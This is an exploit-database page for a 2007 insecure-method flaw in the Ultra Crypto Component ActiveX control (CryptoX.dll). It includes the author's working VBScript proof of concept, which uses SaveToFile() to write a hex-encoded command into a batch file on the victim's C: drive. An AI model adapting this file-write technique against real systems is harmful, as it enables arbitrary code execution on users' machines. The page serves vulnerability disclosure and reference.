header-logo
Suggest Exploit
vendor:
Ultra Crypto Component
by:
shinnai
7.5
CVSS
HIGH
Insecure method
20
CWE
Product Name: Ultra Crypto Component
Affected Version From: <= 2.0
Affected Version To: <= 2.0
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7
2007

Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Insecure Method

The Ultra Crypto Component (CryptoX.dll) version 2.0 and earlier is vulnerable to an insecure method in the SaveToFile() function. This allows an attacker to save arbitrary data to a file, potentially leading to remote code execution. The vulnerability can be exploited by converting the desired command (e.g., "cmd.exe /c notepad.exe") to hexadecimal format and saving it to a batch file.

Mitigation:

Upgrade to a version of the Ultra Crypto Component (CryptoX.dll) that is not vulnerable.
Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
 <b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
 url: http://www.ultrashareware.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>We can use the "HexString()" method to save into our batch file some lines.
 In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
 I save it in a batch file :)</b>
-------------------------------------------------------------------------------------

<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
   test.SaveToFile "c:\shinnai.bat"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-09-10]